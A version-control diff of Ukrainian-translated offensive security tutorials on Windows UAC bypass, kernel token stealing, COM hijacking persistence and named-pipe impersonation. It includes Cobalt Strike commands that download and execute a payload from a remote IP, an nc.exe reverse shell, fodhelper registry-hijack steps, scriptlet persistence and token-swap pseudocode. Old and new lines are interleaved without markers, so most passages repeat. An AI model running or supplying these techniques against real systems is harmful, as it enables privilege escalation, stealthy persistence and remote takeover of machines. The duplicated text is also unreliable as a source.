Ви можете **перевірити** _**Manifest**_ бінарного файлу за допомогою утиліти _**sigcheck.exe**_ від Sysinternals. (`sigcheck.exe -m <file>`) А також ви можете **побачити** **рівень цілісності** процесів за допомогою _Process Explorer_ або _Process Monitor_ (від Sysinternals).
### Check UAC
Щоб підтвердити, чи UAC увімкнено, виконайте:
To confirm if UAC is enabled do:
```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
```
Якщо це **`1`**, то UAC **активовано**, якщо це **`0`** або воно **не існує**, то UAC **неактивний**.
Якщо це **`1`**, то UAC **увімкнено**, якщо це **`0`** або він не існує, то UAC **вимкнено**.
Потім перевірте **який рівень** налаштований:
Потім перевірте, **який рівень** налаштований:
```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
```
- Якщо **`0`**, то UAC не буде запитувати підтвердження (як **відключено**)
- Якщо **`1`**, у адміністратора запитують ім'я користувача та пароль для запуску бінарного файлу з підвищеними правами (на Secure Desktop)
- Якщо **`2`** (**Завжди сповіщати мене**) UAC завжди вимагатиме підтвердження від адміністратора, коли він намагається виконати щось з високими привілеями (на Secure Desktop)
- Якщо **`3`** як `1`, але не обов'язково на Secure Desktop
- Якщо **`4`** як `2`, але не обов'язково на Secure Desktop
- Якщо **`5`** (значення за замовчуванням) — буде просити адміністратора підтвердити запуск non-Windows binaries з підвищеними правами
- Якщо **`0`**, тоді UAC не буде запитувати (як **вимкнено**)
- Якщо **`1`**, адміністратора **попросить ввести ім'я користувача та пароль** для запуску бінарника з підвищеними правами (на Secure Desktop)
- Якщо **`2`** (**Завжди сповіщати мене**), UAC завжди вимагатиме підтвердження від адміністратора, коли той намагається виконати щось з підвищеними привілеями (на Secure Desktop)
- Якщо **`3`** як `1`, але не обов'язково на Secure Desktop
- Якщо **`4`** як `2`, але не обов'язково на Secure Desktop
- якщо **`5`** (**за замовчуванням**) він проситиме адміністратора підтвердити запуск не-Windows бінарників з підвищеними правами
Далі слід поглянути на значення **`LocalAccountTokenFilterPolicy`**\
Якщо значення **`0`**, то лише користувач з **RID 500** (**built-in Administrator**) може виконувати **admin tasks without UAC**, а якщо **`1`**, **всі акаунти в групі "Administrators"** можуть це робити.
Далі перевірте значення ключа **`LocalAccountTokenFilterPolicy`**\
Якщо значення **`0`**, то лише користувач **RID 500** (**built-in Administrator**) може виконувати **адмінські завдання без UAC**, а якщо воно `1`, **всі облікові записи в групі "Administrators"** можуть це робити.
І, нарешті, подивіться значення ключа **`FilterAdministratorToken`**\
Якщо **`0`** (за замовчуванням), **built-in Administrator account** може виконувати завдання віддаленого адміністрування, а якщо **`1`**, вбудований обліковий запис Administrator **не може** виконувати віддалене адміністрування, якщо тільки `LocalAccountTokenFilterPolicy` не встановлено в `1`.
І нарешті перевірте значення ключа **`FilterAdministratorToken`**\
Якщо **`0`** (за замовчуванням), **обліковий запис built-in Administrator може** виконувати віддалені адміністративні завдання, а якщо **`1`**, вбудований обліковий запис Administrator **не може** виконувати віддалені адміністративні завдання, якщо тільки `LocalAccountTokenFilterPolicy` не встановлено на `1`.
#### Summary
- Якщо `EnableLUA=0` або **не існує**, **UAC відсутній для всіх**
- Якщо `EnableLua=1` і **`LocalAccountTokenFilterPolicy=1`**, **UAC відсутній для всіх**
- Якщо `EnableLua=1` і **`LocalAccountTokenFilterPolicy=0` та `FilterAdministratorToken=0`**, **UAC відсутній для RID 500 (Built-in Administrator)**
- Якщо `EnableLua=1` і **`LocalAccountTokenFilterPolicy=0` та `FilterAdministratorToken=1`**, **UAC для всіх**
- Якщо `EnableLUA=0` або **не існує**, **UAC вимкнено для всіх**
- Якщо `EnableLua=1` і **`LocalAccountTokenFilterPolicy=1`**, UAC вимкнено для всіх
- Якщо `EnableLua=1` і **`LocalAccountTokenFilterPolicy=0` і `FilterAdministratorToken=0`**, UAC відсутній для RID 500 (Built-in Administrator)
- Якщо `EnableLua=1` і **`LocalAccountTokenFilterPolicy=0` і `FilterAdministratorToken=1`**, UAC увімкнено для всіх
Всю цю інформацію можна зібрати за допомогою модуля **metasploit**: `post/windows/gather/win_privs`
Усі ці відомості можна зібрати за допомогою модуля **metasploit**: `post/windows/gather/win_privs`
Також ви можете перевірити групи вашого користувача та отримати рівень цілісності:
Ви також можете перевірити групи свого користувача та визначити рівень цілісності:
```
net user %username%
whoami /groups | findstr Level
@ -92,15 +91,15 @@ whoami /groups | findstr Level
## UAC bypass
> [!TIP]
> Зауважте, що якщо у вас є графічний доступ до жертви, UAC bypass досить простий, оскільки ви можете просто натиснути "Yes", коли з'являється UAC prompt
> Зверніть увагу, що якщо у вас є графічний доступ до жертви, обхід UAC доволі простий — ви можете просто натиснути "Yes", коли з'явиться запит UAC
The UAC bypass is needed in the following situation: **UAC увімкнено, ваш процес працює в medium integrity context, і ваш користувач належить до administrators group**.
The UAC bypass потрібен у наступній ситуації: **UAC увімкнено, ваш процес працює в контексті medium integrity, і ваш користувач належить до групи administrators**.
Важливо зазначити, що **набагато складніше обійти UAC, якщо він знаходиться на найвищому рівні безпеки (Always), ніж коли він знаходиться на будь-якому з інших рівнів (Default).**
Важливо зазначити, що **набагато складніше обійти UAC, якщо він встановлений на найвищий рівень безпеки (Always), ніж якщо він у будь-якому з інших рівнів (Default).**
### UAC disabled
If UAC is already disabled (`ConsentPromptBehaviorAdmin` is **`0`**) you can **execute a reverse shell with admin privileges** (high integrity level) using something like:
Якщо UAC вже вимкнено (`ConsentPromptBehaviorAdmin` is **`0`**) ви можете **execute a reverse shell with admin privileges** (high integrity level) using something like:
```bash
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
@ -113,10 +112,10 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
### **Дуже** базовий UAC "bypass" (повний доступ до файлової системи)
Якщо у вас є shell під користувачем, який входить до групи Administrators, ви можете **монтувати шаринг C$** через SMB (файлова система) локально як новий диск і отримаєте **доступ до всього в файловій системі** (навіть до домашньої теки Administrator).
Якщо у вас є shell від користувача, який входить до групи Administrators, ви можете **mount the C$** (спільний ресурс через SMB) локально змонтувати як новий диск і матимете **доступ до всього у файловій системі** (навіть до домашньої папки Administrator).
> [!WARNING]
> **Здається, цей трюк більше не працює**
> **Схоже, цей трюк більше не працює**
```bash
net use Z: \\127.0.0.1\c$
cd C$
@ -124,9 +123,9 @@ cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
```
### Обхід UAC за допомогою cobalt strike
### UAC bypass за допомогою cobalt strike
Техніки Cobalt Strike працюватимуть лише якщо UAC не встановлено на максимальний рівень безпеки.
Техніки Cobalt Strike працюватимуть лише якщо UAC не встановлено на максимальний рівень безпеки
```bash
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
@ -138,7 +137,7 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
```
**Empire** та **Metasploit** також мають кілька модулів для **bypass** **UAC**.
**Empire** і **Metasploit** також мають кілька модулів для **bypass** **UAC**.
### KRBUACBypass
@ -146,10 +145,10 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
### UAC bypass exploits
[**UACME** ](https://github.com/hfiref0x/UACME) який є **збіркою** кількох UAC bypass exploits. Зауважте, що вам потрібно **compile UACME using visual studio or msbuild**. Компіляція створить кілька виконуваних файлів (наприклад `Source\Akagi\outout\x64\Debug\Akagi.exe`), вам потрібно буде знати **який саме вам потрібен.**\
Ви повинні **бути обережними**, тому що деякі bypasses можуть **викликати запуск інших програм**, які **повідомлять** **користувача** про те, що щось відбувається.
[**UACME** ](https://github.com/hfiref0x/UACME) який є **збіркою** кількох UAC bypass exploits. Зауважте, що потрібно **скомпілювати UACME за допомогою Visual Studio або msbuild**. Процес компіляції створить кілька виконуваних файлів (наприклад `Source\Akagi\outout\x64\Debug\Akagi.exe`), вам потрібно буде знати **який саме вам потрібен.**\
Вам слід **бути обережним**, бо деякі bypasses можуть **запустити інші програми**, які **повідомлять** **користувача**, що відбувається щось.
UACME має **інформацію про версію збірки, з якої кожна техніка почала працювати**. Ви можете шукати техніку, що впливає на вашу версію:
UACME містить **версію збірки, з якої кожна техніка почала працювати**. Ви можете шукати техніку, що впливає на ваші версії:
```
PS C:\> [environment]::OSVersion.Version
@ -157,17 +156,17 @@ Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
```
Також, використовуючи [this](https://en.wikipedia.org/wiki/Windows_10_version_history) сторінку, ви отримуєте випуск Windows `1607` за номерами збірок.
Also, використовуючи [this](https://en.wikipedia.org/wiki/Windows_10_version_history) сторінку, ви отримаєте випуск Windows `1607` за номерами збірок.
### UAC Bypass fodhelper.exe (Registry hijack)
Довірений бінарник `fodhelper.exe` автоматично запускається з підвищеними правами в сучасних Windows. Під час запуску він читає наведений нижче пер-юзерський шлях реєстру без перевірки дієслова `DelegateExecute`. Розміщення команди там дозволяє процесу Medium Integrity (користувач належить до Administrators) створити процес High Integrity без UAC prompt.
Довірений бінар `fodhelper.exe` автоматично підвищується в сучасних Windows. Під час запуску він опитує пер-юзерний шлях у реєстрі, наведений нижче, не перевіряючи значення `DelegateExecute`. Розміщення там команди дозволяє процесу Medium Integrity (якщо користувач у групі Administrators) породити процес High Integrity без появи запиту UAC.
Registry path queried by fodhelper:
Реєстровий шлях, який опитує fodhelper:
```
HKCU\Software\Classes\ms-settings\Shell\Open\command
```
PowerShell кроки (встановіть свій payload, потім trigger):
Кроки PowerShell (встановіть свій payload, потім trigger):
```powershell
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
@ -187,11 +186,11 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
```
Notes:
- Працює, коли поточний користувач є членом Administrators і рівень UAC за замовчуванням/лояльний (не Always Notify з додатковими обмеженнями).
- Працює, коли поточний користувач є членом групи Administrators і рівень UAC встановлено на default/lenient (не Always Notify з додатковими обмеженнями).
- Використовуйте шлях `sysnative` щоб запустити 64-бітний PowerShell з 32-бітного процесу на 64-бітному Windows.
- Payload може бути будь-якою командою (PowerShell, cmd, або шлях до EXE). Уникайте виклику UI, що вимагають підтвердження, для стелсу.
- Payload може бути будь-якою командою (PowerShell, cmd або шлях до EXE). Уникайте інтерфейсів, що запитують дозволи, для більшої прихованості.
#### Додаткові UAC bypass
#### More UAC bypass
**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
@ -201,19 +200,19 @@ You can get using a **meterpreter** session. Migrate to a **process** that has t
(_explorer.exe_ should works)
### UAC Bypass with GUI
### Обхід UAC через GUI
If you have access to a **GUI you can just accept the UAC prompt** when you get it, you don't really need a bypass it. So, getting access to a GUI will allow you to bypass the UAC.
Якщо у вас є доступ до **GUI, ви можете просто прийняти запит UAC**, коли він з’явиться — вам насправді не потрібен обхід. Отже, отримання доступу до GUI дозволить вам обійти UAC.
Moreover, if you get a GUI session that someone was using (potentially via RDP) there are **some tools that will be running as administrator** from where you could **run** a **cmd** for example **as admin** directly without being prompted again by UAC like [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). This might be a bit more **stealthy**.
Більше того, якщо ви отримали GUI-сесію, якою хтось користувався (наприклад через RDP), існують інструменти, що працюватимуть як адміністратор, з яких ви можете, наприклад, **запустити cmd як адмін** без повторного запиту UAC, наприклад [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Це може бути трохи більш приховано.
### Noisy brute-force UAC bypass
### Шумний brute-force UAC bypass
If you don't care about being noisy you could always **run something like** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) that **ask to elevate permissions until the user does accepts it**.
Якщо вам байдуже до шуму, ви завжди можете **запустити щось на кшталт** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin), що **проситиме підвищити права допоки користувач не погодиться**.
### Your own bypass - Basic UAC bypass methodology
If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
Якщо подивитися на **UACME**, ви помітите, що **більшість UAC bypass-ів зловживають уразливістю DLL Hijacking** (в основному записом шкідливої dll у _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
1. Find a binary that will **autoelevate** (check that when it is executed it runs in a high integrity level).
2. With procmon find "**NAME NOT FOUND**" events that can be vulnerable to **DLL Hijacking**.
@ -224,7 +223,7 @@ If you take a look to **UACME** you will note that **most UAC bypasses abuse a D
### Another UAC bypass technique
Consists on watching if an **autoElevated binary** tries to **read** from the **registry** the **name/path** of a **binary** or **command** to be **executed** (this is more interesting if the binary searches this information inside the **HKCU**).
Полягає в тому, щоб відслідковувати, чи намагається **autoElevated binary** прочитати з **реєстру** ім'я/шлях бінарника або команду для виконання (це більш цікаво, якщо бінар шукає цю інформацію в **HKCU**).
## References
- [HTB: Rainbow SEH overflow to RCE over HTTP (0xdf) fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)

View File

@ -4,35 +4,35 @@
## Огляд
Якщо вразливий драйвер експонує IOCTL, який дає атакуючому довільні примітиви kernel read та/або kernel write, підвищення до NT AUTHORITY\SYSTEM часто можна досягти шляхом викрадення SYSTEM access token. Техніка копіює вказівник Token з EPROCESS процесу SYSTEM у EPROCESS поточного процесу.
Якщо вразливий драйвер надає IOCTL, який дає атакуючому примітиви довільного kernel read і/або write, підвищення привілеїв до NT AUTHORITY\SYSTEM часто можна досягти шляхом викрадення SYSTEM access token. Техніка копіює вказівник Token з EPROCESS процесу SYSTEM у EPROCESS поточного процесу.
Чому це працює:
- Кожен процес має структуру EPROCESS, яка містить (серед інших полів) Token (фактично EX_FAST_REF на об’єкт token).
- Процес SYSTEM (PID 4) має token з увімкненими усіма привілеями.
- Зама EPROCESS.Token поточного процесу на вказівник SYSTEM token негайно змушує поточний процес працювати як SYSTEM.
- Кожен процес має структуру EPROCESS, яка містить (серед інших полів) Token (фактично EX_FAST_REF до token object).
- Процес SYSTEM (PID 4) має token з усіма дозволами.
- Замінюючи EPROCESS.Token поточного процесу на вказівник SYSTEM token, поточний процес одразу починає виконуватися як SYSTEM.
> Зсуви у EPROCESS змінюються між версіями Windows. Визначайте їх динамічно (symbols) або використовуйте константи для конкретних версій. Також пам’ятайте, що EPROCESS.Token — це EX_FAST_REF (нижні 3 біти — прапорці лічильника посилань).
> Offsets у EPROCESS відрізняються між версіями Windows. Визначайте їх динамічно (symbols) або використовуйте константи для конкретної версії. Також пам’ятайте, що EPROCESS.Token — це EX_FAST_REF (нижні 3 біти — прапорці лічильника посилань).
## Основні кроки
1) Знайдіть базу ntoskrnl.exe та визначте адресу PsInitialSystemProcess.
- З user mode використовуйте NtQuerySystemInformation(SystemModuleInformation) або EnumDeviceDrivers, щоб отримати бази завантажених драйверів.
- Додайте зсув PsInitialSystemProcess (із symbols/reversing) до бази kernel, щоб отримати його адресу.
2) Прочитайте вказівник за PsInitialSystemProcess → це kernel-вказівник на EPROCESS процесу SYSTEM.
3) З EPROCESS процесу SYSTEM прочитайте зсуви полів UniqueProcessId та ActiveProcessLinks, щоб пройти по двозв’язному списку структур EPROCESS (ActiveProcessLinks.Flink/Blink), поки не знайдете EPROCESS, у якого UniqueProcessId дорівнює GetCurrentProcessId(). Збережіть обидва:
- EPROCESS_SYSTEM (for SYSTEM)
- EPROCESS_SELF (for the current process)
4) Прочитайте значення token процесу SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
- Зануліть (маскуйте) нижні 3 біти: Token_SYS_masked = Token_SYS & ~0xF (звичайно ~0xF або ~0x7 залежно від збірки; на x64 використовуються нижні 3 біти — маска 0xFFFFFFFFFFFFFFF8).
5) Варіант A (поширений): Збережіть нижні 3 біти з вашого поточного token і пришийте їх до вказівника SYSTEM, щоб зберегти узгодженість вбудованого лічильника посилань.
1) Знайти base ntoskrnl.exe і отримати адресу PsInitialSystemProcess.
- З user mode використайте NtQuerySystemInformation(SystemModuleInformation) або EnumDeviceDrivers, щоб отримати бази завантажених драйверів.
- Додайте офсет PsInitialSystemProcess (із symbols/reversing) до kernel base, щоб отримати його адресу.
2) Прочитати вказівник за PsInitialSystemProcess → це kernel pointer на EPROCESS SYSTEM.
3) З EPROCESS SYSTEM прочитати UniqueProcessId і ActiveProcessLinks offsets та пройти по двобічному зв’язаному списку структур EPROCESS (ActiveProcessLinks.Flink/Blink), доки не знайдете EPROCESS, у якого UniqueProcessId дорівнює GetCurrentProcessId(). Збережіть обидва:
- EPROCESS_SYSTEM (для SYSTEM)
- EPROCESS_SELF (для поточного процесу)
4) Прочитати системний token: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
- Замаскуйте нижні 3 біти: Token_SYS_masked = Token_SYS & ~0xF (звично ~0xF або ~0x7 залежно від збірки; на x64 використовуються нижні 3 біти — маска 0xFFFFFFFFFFFFFFF8).
5) Option A (common): Збережіть нижні 3 біти з вашого поточного token і приєднайте їх до вказівника SYSTEM, щоб зберегти консистентність вбудованого ref count.
- Token_ME = *(EPROCESS_SELF + TokenOffset)
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
6) Запишіть Token_NEW назад у (EPROCESS_SELF + TokenOffset) за допомогою вашого kernel write примітиву.
7) Ваш поточний процес тепер — SYSTEM. За бажанням запустіть cmd.exe або powershell.exe, щоб перевірити.
7) Ваш поточний процес тепер SYSTEM. За бажанням запустіть новий cmd.exe або powershell.exe для підтвердження.
## Псевдокод
Нижче скелет, який використовує лише два IOCTL з вразливого драйвера: один для 8-byte kernel read і один для 8-byte kernel write. Замініть на інтерфейс вашого драйвера.
Нижче наведено скелет, який використовує лише два IOCTL з вразливого драйвера: один для 8-байтового kernel read і один для 8-байтового kernel write. Replace with your drivers interface.
```c
#include <Windows.h>
#include <Psapi.h>
@ -107,15 +107,15 @@ return 0;
```
Примітки:
- Зсуви: Use WinDbgs `dt nt!_EPROCESS` with the targets PDBs, or a runtime symbol loader, to get correct offsets. Do not hardcode blindly.
- Маска: На x64 токен — EX_FAST_REF; нижні 3 біти — біти лічильника посилань. Збереження початкових молодших бітів вашого токена уникне негайних невідповідностей refcount.
- Стабільність: Надавайте перевагу підвищенню привілеїв поточного процесу; якщо ви підвищите привілеї короткоживучого допоміжного процесу, при його завершенні ви можете втратити SYSTEM.
- Маска: On x64 the token is an EX_FAST_REF; low 3 bits are reference count bits. Keeping the original low bits from your token avoids immediate refcount inconsistencies.
- Стабільність: Віддавайте перевагу підвищенню привілеїв поточного процесу; якщо підвищити привілеї короткоживучого допоміжного процесу, ви можете втратити SYSTEM коли він завершиться.
## Виявлення та пом'якшення
- Завантаження непідписаних або ненадійних драйверів сторонніх розробників, які надають потужні IOCTLs, є першопричиною.
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, and Attack Surface Reduction rules можуть запобігти завантаженню вразливих драйверів.
- EDR може відслідковувати підозрілі послідовності IOCTL, які реалізують arbitrary read/write, а також token swaps.
- Завантаження непідписаних або ненадійних драйверів сторонніх розробників, які надають потужні IOCTLs, є кореневою причиною.
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard та правила Attack Surface Reduction можуть запобігти завантаженню вразливих драйверів.
- EDR може спостерігати за підозрілими послідовностями IOCTL, які реалізують arbitrary read/write, а також за token swaps.
## Джерела
## Посилання
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [FuzzySecurity Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)

View File

@ -4,21 +4,21 @@
### Пошук неіснуючих COM компонентів
Оскільки значення HKCU можуть бути змінені користувачами, **COM Hijacking** може бути використаний як **механізм персистентності**. За допомогою `procmon` легко знайти записи реєстру COM, які шукаються, але не існують, і які атакуючий може створити для досягнення персистентності. Фільтри:
Оскільки значення HKCU можуть змінюватись користувачами, **COM Hijacking** може бути використаний як **постійний механізм**. Використовуючи `procmon`, легко знайти запити до COM записів реєстру, яких не існує, і які атакуючий може створити для персистенції. Фільтри:
- **RegOpenKey** операції.
- де _Result_ **NAME NOT FOUND**.
- де _Result_ має значення **NAME NOT FOUND**.
- і _Path_ закінчується на **InprocServer32**.
Після того, як ви вирішили, який неіснуючий COM імітувати, виконайте наступні команди. _Будьте обережні, якщо ви вирішите імітувати COM, який завантажується кожні кілька секунд — це може бути надмірним._
Після того як ви вирішили, який неіснуючий COM підробити, виконайте наступні команди. _Будьте обережні, якщо вирішите підробити COM, який завантажується кожні кілька секунд — це може бути надмірним._
```bash
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
```
### Hijackable Task Scheduler COM components
### COM-компоненти Task Scheduler, які можна перехопити
Windows Tasks використовують Custom Triggers для виклику COM objects, і оскільки вони виконуються через Task Scheduler, легше передбачити, коли вони спрацюють.
Завдання Windows використовують Custom Triggers для виклику COM-об'єктів, і оскільки вони виконуються через Task Scheduler, легше передбачити, коли вони будуть спрацьовувати.
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
$Tasks = Get-ScheduledTask
@ -49,9 +49,9 @@ Write-Host
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [more like the previous one...]</code></pre>
Перевіряючи вивід, ви можете вибрати завдання, яке, наприклад, буде виконуватися **кожного разу, коли користувач входить у систему**.
Переглянувши вивід, можна вибрати той, який виконуватиметься, наприклад, **кожного разу при вході користувача в систему**.
Якщо тепер шукати CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** в **HKEY\CLASSES\ROOT\CLSID** та в HKLM і HKCU, зазвичай ви виявите, що значення не існує в HKCU.
Тепер, шукаючи CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** у **HKEY\CLASSES\ROOT\CLSID** та в HKLM і HKCU, зазвичай ви знайдете, що значення не існує в HKCU.
```bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
@ -72,32 +72,32 @@ Name Property
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
```
Тоді ви можете просто створити запис у HKCU — і щоразу при вході користувача ваш backdoor буде запущено.
Потім ви просто створюєте запис у HKCU, і щоразу, коли користувач входить у систему, ваш backdoor буде спрацьовувати.
---
## COM TypeLib Hijacking (script: moniker persistence)
Type Libraries (TypeLib) визначають COM-інтерфейси й завантажуються через `LoadTypeLib()`. Коли COM-сервер інстанціюється, ОС також може завантажити пов'язаний TypeLib, звернувшись до ключів реєстру під `HKCR\TypeLib\{LIBID}`. Якщо шлях TypeLib замінити на **moniker**, наприклад `script:C:\...\evil.sct`, Windows виконає scriptlet при розв'язанні TypeLib — це дає приховану персистентність, яка спрацьовує, коли зачіпаються загальні компоненти.
Type Libraries (TypeLib) визначають COM-інтерфейси та завантажуються через `LoadTypeLib()`. Коли COM-сервер інстанціюється, ОС також може завантажити пов'язану TypeLib, звернувшись до ключів реєстру під `HKCR\TypeLib\{LIBID}`. Якщо шлях до TypeLib замінити на **moniker**, наприклад `script:C:\...\evil.sct`, Windows виконає scriptlet під час розв'язання TypeLib — створюючи приховану персистентність, яка спрацьовує, коли торкаються загальні компоненти.
Це спостерігалося щодо Microsoft Web Browser control (який часто завантажується Internet Explorer, додатками з вбудованим WebBrowser і навіть `explorer.exe`).
Це спостерігалося щодо контролю Microsoft Web Browser (який часто завантажується Internet Explorer, додатками, що вбудовують WebBrowser, і навіть `explorer.exe`).
### Кроки (PowerShell)
1) Визначте TypeLib (LIBID), який використовується CLSID з високою частотою викликів. Приклад CLSID, який часто зловживається в ланцюгах malware: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
1) Визначте TypeLib (LIBID), який використовується CLSID з високою частотою. Приклад CLSID, який часто зловмисники використовують у malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
```powershell
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid LIBID=$libid VER=$ver"
```
2) Вкажіть шлях TypeLib для кожного користувача на локальний scriptlet, використовуючи монікер `script:` (права адміністратора не потрібні):
2) Вкажіть per-user TypeLib path на локальний scriptlet, використовуючи монікер `script:` (права адміністратора не потрібні):
```powershell
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
```
3) Скинути мінімальний JScript `.sct`, який перезапускає ваш основний payload (наприклад, `.lnk`, який використовується початковим ланцюгом):
3) Розмістіть мінімальний JScript `.sct`, який перезапускає ваш основний payload (наприклад `.lnk`, який використовується початковим ланцюжком):
```xml
<?xml version="1.0"?>
<scriptlet>
@ -114,7 +114,7 @@ sh.Run(cmd, 0, false);
</script>
</scriptlet>
```
4) Спрацьовування відкриття IE, програми, яка вбудовує WebBrowser control, або навіть звичайна активність Explorer завантажить TypeLib та виконає scriptlet, повторно активуючи ваш ланцюжок при logon/reboot.
4) Активація відкриття IE, програми, що вбудовує WebBrowser control, або навіть звичайна активність Explorer завантажить TypeLib і виконає scriptlet, повторно активуючи ваш chain при logon/reboot.
Очищення
```powershell
@ -127,7 +127,7 @@ Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
- Ви можете застосувати ту саму логіку до інших часто використовуваних COM компонентів; завжди спочатку визначайте реальний `LIBID` з `HKCR\CLSID\{CLSID}\TypeLib`.
- На 64-bit системах ви також можете заповнити підключ `win64` для 64-bit споживачів.
## Посилання
## Джерела
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)

View File

@ -2,27 +2,27 @@
{{#include ../../banners/hacktricks-training.md}}
Named Pipe client impersonation — це примітив локального підвищення привілеїв, який дозволяє серверному потоку named-pipe прийняти контекст безпеки клієнта, який підключається до нього. На практиці, атака, що може виконувати код з правами SeImpersonatePrivilege, може змусити привілейований компонент (наприклад, службу SYSTEM) підключитися до контрольованого атакуючим pipe, викликати ImpersonateNamedPipeClient, продублювати отриманий токен у primary token і запустити процес від імені клієнта (часто NT AUTHORITY\SYSTEM).
Named Pipe client impersonation — це примітив локального підвищення привілеїв, який дозволяє потоку сервера іменованого каналу прийняти контекст безпеки клієнта, що підключається до нього. Насправді, атакуючий, який може виконувати код з SeImpersonatePrivilege, може примусити привілейований клієнт (наприклад, сервіс SYSTEM) підключитися до керованого атакуючим pipe, викликати ImpersonateNamedPipeClient, дублювати отриманий токен у primary token і запустити процес від імені клієнта (часто NT AUTHORITY\SYSTEM).
Ця сторінка зосереджена на основній техніці. Для повних ланцюжків експлойтів, що змушують SYSTEM підключитися до вашого pipe, див. сторінки родини Potato, згадані нижче.
Ця сторінка зосереджена на основній техніці. Для повних експлойт-чейнів, які змушують SYSTEM підключатися до вашого pipe, див. сторінки сімейства Potato, зазначені нижче.
## Коротко
- Create a named pipe: \\.\pipe\<random> і очікуйте підключення.
- Змусіть привілейований компонент підключитися до нього (spooler/DCOM/EFSRPC/etc.).
- Прочитайте принаймні одне повідомлення з pipe, після чого викличте ImpersonateNamedPipeClient.
- Відкрийте impersonation token поточного потоку, DuplicateTokenEx(TokenPrimary) та використайте CreateProcessWithTokenW/CreateProcessAsUser для отримання процесу SYSTEM.
- Створити named pipe: \\.\pipe\<random> і чекати на підключення.
- Змусити привілейований компонент підключитися до нього (spooler/DCOM/EFSRPC/etc.).
